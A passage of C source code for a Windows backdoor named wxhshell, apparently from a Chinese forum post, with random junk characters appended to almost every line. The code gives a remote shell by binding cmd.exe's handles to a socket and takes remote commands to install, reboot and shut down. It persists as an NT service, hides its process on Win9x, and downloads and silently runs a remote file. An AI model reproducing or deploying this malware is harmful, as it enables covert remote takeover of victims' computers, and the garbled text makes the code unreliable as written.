    switch(cmd[0]) { JxyB(  
  %YOndIS:  
  // 帮助 T|tOTk  
  case '?': { r|,i'T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )7_"wD` z  
    break; GR\5WypoJ  
  } DY[$"8Kxcp  
  // 安装 zt^48~ry  
  case 'i': { ~|<m,)!  
    if(Install()) .*elggM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'M3">$N  
    else 610D% F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WxF:~{  
    break; [s<^&WM/  
    } L~s3b  
  // 卸载 !UFfsNiXZ  
  case 'r': { .^b;osAU  
    if(Uninstall()) :O5og[;b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /lafve~  
    else y\&>Z yOY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); np~~mdmRK  
    break; MxBTX4ES  
    } N/GQt\tV<  
  // 显示 wxhshell 所在路径 41fJ%f` G  
  case 'p': { {[+2n]f_G  
    char svExeFile[MAX_PATH]; Q X%&~  
    strcpy(svExeFile,"\n\r");  ,m,)I  
      strcat(svExeFile,ExeFile); q4V7  
        send(wsh,svExeFile,strlen(svExeFile),0); vf8\i-U=  
    break; _'#x^D  
    } Y@ZaJ@%9@  
  // 重启 ne^imht  
  case 'b': { _V\Bp=9W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dg^L=  
    if(Boot(REBOOT)) je]}R>[r5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iDf,e Kk$'  
    else { Un6/e/6,  
    closesocket(wsh); Xt#1Qs  
    ExitThread(0); H{t_xL)k.  
    } cHa]xmy%r'  
    break; t=xOQ 8  
    } 8/K!SpM*d  
  // 关机 *28pRvY:b  
  case 'd': { Q:$Zy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <x!GE>sf+  
    if(Boot(SHUTDOWN)) CpJ0m-7aIH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I2H6y"p N  
    else { Ja ,Cvt  
    closesocket(wsh); Kt(-@\)!  
    ExitThread(0); t+Op@*#%  
    } ,6r{VLN  
    break; .$#rV?7  
    } fK(}Ce  
  // 获取shell #0Tq=:AE>  
  case 's': { r#6_]ep}<'  
    CmdShell(wsh); kCXdGhb  
    closesocket(wsh); ?Mee 6  
    ExitThread(0); Q~Z=(rP20  
    break; |`;54_f  
  } +Y+Y6Ac[}  
  // 退出 ;}'D16`j  
  case 'x': { }@r{?8Ru  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gsn)Wv$h  
    CloseIt(wsh); Vi$-Bw$@  
    break; ?:Bv iF);/  
    } ^H6<Km l/V  
  // 离开 b?eu jxqg  
  case 'q': { RW P<B0)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qL94SW;  
    closesocket(wsh); )TmHhNo  
    WSACleanup(); ^OErq&`u  
    exit(1); CXCpqcC  
    break; Dnc<sd;  
        } xGI, Lk+  
  } ?@n/v F  
  } ,$eK-w  
<`0h|m'U  
  // 提示信息 i9=&;_z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $O^v]>h  
} X*L;.@xA  
  } &  =/  
C XHy.&Vt  
  return; 5?Wto4j  
} W}|'#nR  
tbO H#|  
// shell模块句柄 [7 YPl9  
int CmdShell(SOCKET sock) IMk'#)  
{ C4NTh}6t T  
STARTUPINFO si; CwX Z  
ZeroMemory(&si,sizeof(si)); v|E"[P2e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'u` .P:u?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5 Qoew9rA  
PROCESS_INFORMATION ProcessInfo; Oq3A#6~  
char cmdline[]="cmd"; lHV[Ln`\x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?i`l[+G  
  return 0; )3h^Y=43  
} !s@Rok  
^3hn0DVQ  
// 自身启动模式 e]Zngt?b  
int StartFromService(void) |!F5.%PY  
{ A?G^\I~v  
typedef struct !yhh8p3  
{ &ZTr  
  DWORD ExitStatus; A 8 vbQ  
  DWORD PebBaseAddress; 6&bIXy  
  DWORD AffinityMask; 1xc~`~  
  DWORD BasePriority; yObuWDA9  
  ULONG UniqueProcessId; al`3Lu0  
  ULONG InheritedFromUniqueProcessId; ".dZn6"mI  
}   PROCESS_BASIC_INFORMATION; :eZh'-c?  
`CeJWL5{  
PROCNTQSIP NtQueryInformationProcess; *:O.97q@h  
P4Th_B7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jzK5-;b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4H+Ked&Oq  
s{w[b\rA  
  HANDLE             hProcess; {hJXj,  
  PROCESS_BASIC_INFORMATION pbi; M?/jkc.8H  
M4WiT<|]R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mE^o-9/  
  if(NULL == hInst ) return 0; ,hVvve,j}  
'<0J@^vZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j w* IO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S"wg2X<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .Q)|vq^  
XO <y +  
  if (!NtQueryInformationProcess) return 0; -rKO )}  
^V|Oxp'7_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;=? ~ -_  
  if(!hProcess) return 0; oBUxKisW  
)a3IQrf=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IL_d:HF|1  
;sch>2&ZWU  
  CloseHandle(hProcess); ejA%%5q  
Er k?}E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0<TD/1wN  
if(hProcess==NULL) return 0; GHQ;hN:  
kPjd_8z2n  
HMODULE hMod; ``A 0WN  
char procName[255]; zX#%{#9  
unsigned long cbNeeded; `HuCT6O  
eyp,y2Tz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *. &HD6Qr  
VtOZ%h[#  
  CloseHandle(hProcess); >q7BVF6V |  
%Qmk2  
if(strstr(procName,"services")) return 1; // 以服务启动 YJ:3!B>Zo  
+ki{H}G21  
  return 0; // 注册表启动 ,&4qgp{)  
} i55x`>]&sb  
[&*6_q"V  
// 主模块 Ix|~f1*%  
int StartWxhshell(LPSTR lpCmdLine) '$ef+@y  
{ qOaQxRYm%Y  
  SOCKET wsl; kcDyuM`  
BOOL val=TRUE; FWC5&tM  
  int port=0; P_u|-~|\  
  struct sockaddr_in door; f+.T^es  
 d^(1TNS  
  if(wscfg.ws_autoins) Install(); O@iu aeEW  
M.td^l0  
port=atoi(lpCmdLine); S^Au#1e   
H[b}kZW:a  
if(port<=0) port=wscfg.ws_port; c)&>$S8*  
`Bn=?9  
  WSADATA data; ,^8MB.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NU (AEfF  
BGr.yEy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "g+z !4b#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @u._"/K  
  door.sin_family = AF_INET; *1@:'rJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); { BEo &  
  door.sin_port = htons(port); iBudmT8  
gN {'UDg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7DlOW1|  
closesocket(wsl); 7FO'{Qq  
return 1; xmGk*W)P  
} KS*oxZ  
]4 (?BJ  
  if(listen(wsl,2) == INVALID_SOCKET) { [ $fJRR  
closesocket(wsl); ZX~ _g@  
return 1; ~L7:2weV[  
} &:=$wc  
  Wxhshell(wsl);  ,YhwpkL  
  WSACleanup(); ,%YBG1E[y  
#%@MGrsK  
return 0; u-"c0@  
dGwszziuK  
} ]S 7^ITn  
0J~Qq]g  
// 以NT服务方式启动 FEz>[#eOX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X bkb5EkA  
{ Y\2|x*KwvF  
DWORD   status = 0; A-CUv[pM  
  DWORD   specificError = 0xfffffff; 8[ry |J  
TCvSc\Q[:1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fE,9zUo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *5,c Rz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hnWo|! ,O$  
  serviceStatus.dwWin32ExitCode     = 0; sCl$f7"  
  serviceStatus.dwServiceSpecificExitCode = 0; =l<iI*J. M  
  serviceStatus.dwCheckPoint       = 0;  uIMe  
  serviceStatus.dwWaitHint       = 0; 9N[EZhW  
`B8tmW#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nT#JOmv  
  if (hServiceStatusHandle==0) return; x|eeRf|  
s~26  
status = GetLastError(); +CM7C%U   
  if (status!=NO_ERROR) Lv1{k\aw  
{ #pdUJ2)yM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ngi<v6i  
    serviceStatus.dwCheckPoint       = 0; dRvin[R8  
    serviceStatus.dwWaitHint       = 0; y33~HsOJ  
    serviceStatus.dwWin32ExitCode     = status; ;1DdjETr  
    serviceStatus.dwServiceSpecificExitCode = specificError; #~qAHJ<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f+vVR1  
    return; 3]JZu9#  
  } (P6vOo  
6g>)6ux>aV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AY_Q""v  
  serviceStatus.dwCheckPoint       = 0; 1@XgTL4  
  serviceStatus.dwWaitHint       = 0; z2/!m[U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "Mmf6hu  
} =7 ,Kf} 6  
Y|0ow_oH  
// 处理NT服务事件,比如:启动、停止 VanB>|p6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }gf}eH  
{ V:bV ?lt  
switch(fdwControl) |Y_ -  
{ `0#H]=$2h  
case SERVICE_CONTROL_STOP: U/qE4u1J6M  
  serviceStatus.dwWin32ExitCode = 0; ]B9 ^3x[:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?TEK=mD#u  
  serviceStatus.dwCheckPoint   = 0; &~5=K  
  serviceStatus.dwWaitHint     = 0; >CgO<\  
  { \|Dei);k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GO5~!g  
  } %c^ m\ E  
  return; yZ}d+7T}  
case SERVICE_CONTROL_PAUSE: +~2rW8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,yLw$-  
  break; qX>Q+_^  
case SERVICE_CONTROL_CONTINUE: #WE]`zd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (*l2('e#@  
  break; EY>8O+  
case SERVICE_CONTROL_INTERROGATE: `{FwTZ=6{  
  break; INMP"1  
}; /c+)C"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nb dGt  
} -.vDF?@G  
4f1D*id*`#  
// 标准应用程序主函数 qJ[@:&:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9EF~l9`'U  
{ &:?e&  
9(VRq^Z1  
// 获取操作系统版本 BH:  
OsIsNt=GetOsVer(); :_d3//|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w!q&  
I6OSC&A`  
  // 从命令行安装 <6N_at3  
  if(strpbrk(lpCmdLine,"iI")) Install(); )wf\F6jN  
q"aPJ0ni'  
  // 下载执行文件 W7G9Kx1Y  
if(wscfg.ws_downexe) { E*v]:kok  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tGqCt9;<  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'UDBV  
} r25Z`X Z  
E;-qP)yU  
if(!OsIsNt) { (N U0T w  
// 如果时win9x,隐藏进程并且设置为注册表启动 M$CVQ>op:  
HideProc(); Q2~5"  
StartWxhshell(lpCmdLine); >BqCkyM9Kf  
} ~-Oa8ww  
else ged,>  
  if(StartFromService()) gAE!a Ky  
  // 以服务方式启动 kC^.4n om  
  StartServiceCtrlDispatcher(DispatchTable); StQ@g  
else rH}fLu8,;Q  
  // 普通方式启动 C%H9[%k  
  StartWxhshell(lpCmdLine); oK-!(1A-  
kN'Thq/ZE  
return 0; Mz|L-62  
}
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只看该作者 1 发表于: 2006-10-10
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